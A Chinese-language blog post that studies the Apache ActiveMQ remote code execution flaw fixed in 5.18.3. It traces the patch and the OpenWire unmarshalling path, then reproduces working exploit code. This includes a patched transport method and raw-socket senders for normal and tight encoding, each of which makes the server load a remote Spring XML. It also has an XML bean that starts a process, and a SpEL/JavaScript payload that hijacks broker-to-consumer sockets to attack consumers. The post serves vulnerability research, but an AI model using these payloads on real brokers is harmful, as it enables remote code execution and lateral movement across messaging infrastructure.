学习ActiveMQ小于5.18.3的RCE

Apache ActiveMQ<5.18.3的RCE

前言

再写春秋杯Active-takeaway时遇到ActiveMQ,来复现一下,之前只是粗略的看了下文章

学习就应该这样,刷题->不会->看WP->深入了解,但我真刷题太少了

复现的是https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/

开始

了解下概念

image-20240209031227613

image-20240209031114440

爆出一个项目有漏洞后,找漏洞点最好的方式就是去diff,看看官方是咋修补的

https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f

https://github.com/apache/activemq/blob/1d0a6d647e468334132161942c1442eed7708ad2/activemq-openwire-legacy/src/main/java/org/apache/activemq/openwire/v4/ExceptionResponseMarshaller.java

image-20240209015429655

发现可以实例化任意构造器,并传入String类的参数

看一下这个类结构

image-20240209024630931

有若干 Marshal/unmarshal 方法 (即序列化和反序列化

找一下调用漏洞函数的部分

image-20240209024904937

有两处地方调用了这个函数

image-20240209024942697

image-20240209024953849

这里以tightUnmarsalThrowable为例

会通过反序列化获取 clazz 和 message, 然后调用 createThrowable

找到与tightUnmarsalThrowable对应的tightMarshalThrowable

image-20240209025700540

文章的前文提到

经过简单的搜索可以发现 ExceptionResponseMarshaller 这个类, 它是 BaseDataStreamMarshaller 的子类

其 tightUnmarshal/looseUnmarshal 方法会调用 tightMarshalThrowable/looseMarshalThrowable, 最终调用到 BaseDataStreamMarshaller 的 createThrowable 方法

。。。6

package org.apache.activemq.command;

public class ExceptionResponse extends Response {
    public static final byte DATA_STRUCTURE_TYPE = 31;
    Throwable exception;

    public ExceptionResponse() {
    }

    public ExceptionResponse(Throwable e) {
        this.setException(e);
    }

    public byte getDataStructureType() {
        return 31;
    }

    public Throwable getException() {
        return this.exception;
    }

    public void setException(Throwable exception) {
        this.exception = exception;
    }

    public boolean isException() {
        return true;
    }
}

回到上面

o 就是 ExceptionResponse 里面的 exception 字段 (继承了 Throwable), 然后分别将 o 的 className 和 message 写入序列化流

到这里思路其实已经差不多了, 我们只需要构造一个 ExceptionResponse 然后发给 ActiveMQ 服务器, 之后 ActiveMQ 会自己调用 unmarshal, 最后触发 createThrowable

下面只需要关注如何发送 ExceptionResponse 即可

只能说太强了

写一个发送信息的demo

package com.example;

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class Demo {
    public static void main(String[] args) throws Exception {

        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
        Connection connection = connectionFactory.createConnection();
        connection.start();
        Session session = connection.createSession();
        Destination destination = session.createQueue("tempQueue");

        MessageProducer producer = session.createProducer(destination);
        Message message = session.createObjectMessage("123");
        producer.send(message);

        connection.close();
    }
}

然后随便打几个断点

在一次通信的过程中 ActiveMQ 会 marshal / unmarshal 一些其它的数据, 调试的时候记得判断)

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal()

这里会获取dataType,然后根据它的值去获取对应的序列化器

image-20240210021631594

在 demo 中我们发送的是一个 ObjectMessage (ActiveMQObjectMessage) 对象, 它的 dataType 是 26

而 ExceptionResponse 的 dataType 是 31, 对应上图中的 ExceptionResponseMarshaller

获取到了对应的序列化器之后, 会调用它的 tightUnmarshal / looseUnmarshal 方法进一步处理 Message 内容

image-20240210021838401

不能修改 ObjectMessage 的 DATA_STRUCTURE_TYPE 字段, 把它改成 31 然后发送

因为对于不同的 Message 类型, 序列化器会单独进行处理, 比如调用 writeXXX 和 readXXX 的类型和次数都不一样

我们应该发送一个经由这个 ExceptionResponseMarshaller 处理的 ExceptionResponse

这里X1r0z师傅的非常厉害,因为要doUnmarshal中readByte获取dataType

所以在marshal中下断点,调试client端

然后在调用栈中往前找到了TcpTransport类

image-20240210022735896

image-20240210022624732

它的 oneway 方法会调用 wireFormat.marshal() 去序列化 command

command 就是前面准备发送的 ObjectMessage, 而 wireFormat 就是和它对应的序列化器

那么我们只需要手动 patch 这个方法, 将 command 改成 ExceptionResponse, 将 wireFormat 改成 ExceptionResponseMarshaller 即可

这里师傅没管OpenWire 协议,直接在当前源码目录重写了TcpTransport类的逻辑


public void oneway(Object command) throws IOException {
    this.checkStarted();
    Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
    ExceptionResponse response = new ExceptionResponse(obj);
   this.wireFormat.marshal(response, this.dataOut);
    this.dataOut.flush();
}

然后是 createThrowable 方法的利用, 这块其实跟 PostgreSQL JDBC 的利用类似, 因为 ActiveMQ 自带 spring 相关依赖, 那么就可以利用 ClassPathXmlApplicationContext 加载 XML 实现 RCE

因为在 marshal 的时候会调用 o.getClass().getName() 获取类名, 而 getClass 方法无法重写 (final), 所以在这里同样 patch 了 org.springframework.context.support.ClassPathXmlApplicationContext, 使其继承 Throwable 类

大佬的思路总是惊为天人

image-20240210023057935

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

续集

复现春秋杯时,看Boogipop大佬WP给出一个链接

雨了个雨’s blog (yulegeyu.com)

也谈了对这个rce的理解

正常场景下,生产者只能发送Message给Broker。为了发送Response给Broker肯定需要修改下ActiveMQ的代码,所以大部分利用都是修改代码实现的。

然后作者查看了Activemq的协议,给出了攻击代码

ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutput dataOutput = new DataOutputStream(bos);
dataOutput.writeInt(0);
dataOutput.writeByte(31);

dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeBoolean(true);
dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeBoolean(true);
dataOutput.writeUTF("http://localhost:8000/abcd");

Socket socket = new Socket("localhost", 61616);
OutputStream socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
socketOutputStream.close();

socket连接后,根据反序列化逻辑的代码,对应着进行writeInt、writeByte、writeBoolean

省去发送message过程中marshal的操作,直接进行dounmarshal

此外作者发现ActiveMQ中存在一个tightEncodingEnabled的配置,启用tightEncodingEnabled配置后,ActiveMQ会使用一种紧凑的消息编码方式,它采用了一些技巧,例如采用更紧凑的数据结构、二进制编码等,以减少消息的大小。

很明显如果目标启用了tightEncodingEnabled的话,上面的攻击代码肯定需要修改。经过测试发现默认Broker未打开该配置,Consumer打开该配置。

这里也给出tightEncodingEnabled场景下,攻击Broker的利用代码

ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutput dataOutput = new DataOutputStream(bos);
dataOutput.writeInt(0);
dataOutput.writeByte(31);

BooleanStream bs = new BooleanStream();
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(false);
bs.writeBoolean(true);
bs.writeBoolean(false);

bs.marshal(dataOutput);

dataOutput.writeUTF("bb");
dataOutput.writeUTF("aa");

dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeUTF("http://localhost:8000/abcd");

bos.flush();

Socket socket =new Socket("127.0.0.1", 61616);
OutputStream socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
socketOutputStream.close();

从broker到consumer

ActiveMQ有两种常用的消息模型,点对点、发布/订阅模式。

通常会设置一个监听器,同时让消费者和Broker保持长链接。

那么思路就有了,在控制了Broker后,获取到Broker和消费已建立的Socket链接,给消费推恶意数据进行反序列化按理是可以实现利用的

是真正意义上的由broker才能到consumer

org.apache.activemq.broker.BrokerRegistry#getInstance

public class BrokerRegistry {
    private static final Logger LOG = LoggerFactory.getLogger(BrokerRegistry.class);
    private static final BrokerRegistry INSTANCE = new BrokerRegistry();
    private final Object mutex = new Object();
    private final Map<String, BrokerService> brokers = new HashMap();

    public BrokerRegistry() {
    }

    public static BrokerRegistry getInstance() {
        return INSTANCE;
    }

image-20240211014512696

[Active Transport]即是已经建立的消费链接

这里通过先让Broker加载远程配置文件在Broker上实现SPEL代码执行后,通过代码执行获取消费者socket推送恶意数据,加载远程配置文件。上面也说到了消费者默认开启了tightEncodingEnabled,所以需要使用tightEncodingEnabled的Exp

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
            http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">

    <context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>

    <bean class="java.lang.String">
        <property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(&quot;function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){   brokerService = brokers.get(key);  try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');}   f.setAccessible(true);   shutdownHook = f.get(brokerService);   threadGroup = shutdownHook.getThreadGroup();   f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){       thread = threads[key];       if(thread == null){           continue;       }       threadName = thread.getName();       if(threadName.startsWith('ActiveMQ Transport: ')){           f = thread.getClass().getDeclaredField('target');                      tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f));           f = tcpTransport.getClass().getDeclaredField('socket');           f.setAccessible(true);           socket = f.get(tcpTransport);           bos = new java.io.ByteArrayOutputStream();           dataOutput = new java.io.DataOutputStream(bos);           dataOutput.writeInt(1);           dataOutput.writeByte(31);    bs = new org.apache.activemq.openwire.BooleanStream();    bs.writeBoolean(true);  bs.writeBoolean(true);  bs.writeBoolean(true);  bs.writeBoolean(false);   bs.writeBoolean(true); bs.writeBoolean(false);  bs.marshal(dataOutput); dataOutput.writeUTF('bb');  dataOutput.writeUTF('aa');  dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext');  dataOutput.writeUTF('http://localhost:8000/dddd');  dataOutput.writeShort(0);  socketOutputStream = socket.getOutputStream();           socketOutputStream.write(bos.toByteArray());         }   }   }&quot;)}"/>
    </bean>
</beans>

上面意思是使用js代码执行以下代码

function getunsafe() {
    var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');
    unsafe.setAccessible(true);
    return unsafe.get(null);
}
var unsafe = getunsafe();
brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();
brokers = brokerRegistry.getBrokers();
for(key in brokers){
    brokerService = brokers.get(key);
    try{ f = brokerService.getClass().getDeclaredField('shutdownHook');
    }
    catch(e) {
        f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');
    }
    f.setAccessible(true);
    shutdownHook = f.get(brokerService);
    threadGroup = shutdownHook.getThreadGroup();
    f = threadGroup.getClass().getDeclaredField('threads');
    threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f));
    for(key in threads){
        thread = threads[key];
        if(thread == null){
            continue;
        }
        threadName = thread.getName();
        if(threadName.startsWith('ActiveMQ Transport: ')){
            f = thread.getClass().getDeclaredField('target');
            tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f));
            f = tcpTransport.getClass().getDeclaredField('socket');
            f.setAccessible(true);
            socket = f.get(tcpTransport);
            bos = new java.io.ByteArrayOutputStream();
            dataOutput = new java.io.DataOutputStream(bos);
            dataOutput.writeInt(1);
            dataOutput.writeByte(31);
            bs = new org.apache.activemq.openwire.BooleanStream();
            bs.writeBoolean(true);
            bs.writeBoolean(true);
            bs.writeBoolean(true);
            bs.writeBoolean(false);
            bs.writeBoolean(true);
            bs.writeBoolean(false);
            bs.marshal(dataOutput);
            dataOutput.writeUTF('bb');
            dataOutput.writeUTF('aa');
            dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext');
            dataOutput.writeUTF('http://localhost:8000/dddd');
            dataOutput.writeShort(0);
            socketOutputStream = socket.getOutputStream();
            socketOutputStream.write(bos.toByteArray());
        }
    }
}

打broker加载的是上面执行js的xml文件,js代码中的是反弹shell的xml文件

点对点消费测试( 即点对点模式的长连接代码

ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(ActiveMQConnection.DEFAULT_USER,
        ActiveMQConnection.DEFAULT_PASSWORD, "tcp://localhost:61616");

Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("tempQueue");
MessageConsumer consumer = session.createConsumer(destination);
consumer.setMessageListener(new MessageListener() {
    @Override
    public void onMessage(Message message) {

        try {
            message.acknowledge();
            TextMessage om = (TextMessage) message;
            String data = om.getText();
            System.out.println(data);
        } catch (JMSException e) {
            e.printStackTrace();
        }
    }
});
System.in.read();
session.close();
connection.close();

发布/订阅消费测试 (即主题/订阅模式长连接代码

public class TopicConsumer {

    public void consumer() throws JMSException, IOException {
        ConnectionFactory factory = null;
        Connection connection = null;
        Session session = null;
        MessageConsumer consumer = null;
        try {
            factory = new ActiveMQConnectionFactory("admin","admin","tcp://localhost:61616");
            connection = factory.createConnection();

            connection.start();
            session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
            Destination destination = session.createTopic(TopicProducer.QUEUE_NAME);
            consumer = session.createConsumer(destination);
           
            consumer.setMessageListener(new MessageListener() {
                @Override
                public void onMessage(Message message) {

                    try {
                        TextMessage om = (TextMessage) message;
                        String data = om.getText();
                        System.out.println(data);
                    } catch (JMSException e) {
                        e.printStackTrace();
                    }
                }
            });
        } catch(Exception ex){
            throw ex;
        }
    }

    public static void main(String[] args){
        TopicConsumer consumer = new TopicConsumer();
        try{
            consumer.consumer();
        } catch (Exception ex){
            ex.printStackTrace();
        }
    }
}

存在其中一个长连接代码即可

image-20240211024029722

finally

服了,本来想调试一遍的,我好不容易弄好了服务端,结果运行client端那个demo的jdk版本好像不够报错,换了比jdk11还高的jdk17也没什么用,还是报错,服了

算了算了

reference

https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/

https://boogipop.com/2023/11/03/Apache%20ActiveMQ%20CVE-2023-46604%20RCE%20%E5%88%86%E6%9E%90/

雨了个雨’s blog (yulegeyu.com)


学习ActiveMQ小于5.18.3的RCE
https://zer0peach.github.io/2024/02/09/学习ActiveMQ小于5-18-3的RCE/
作者
Zer0peach
发布于
2024年2月9日
许可协议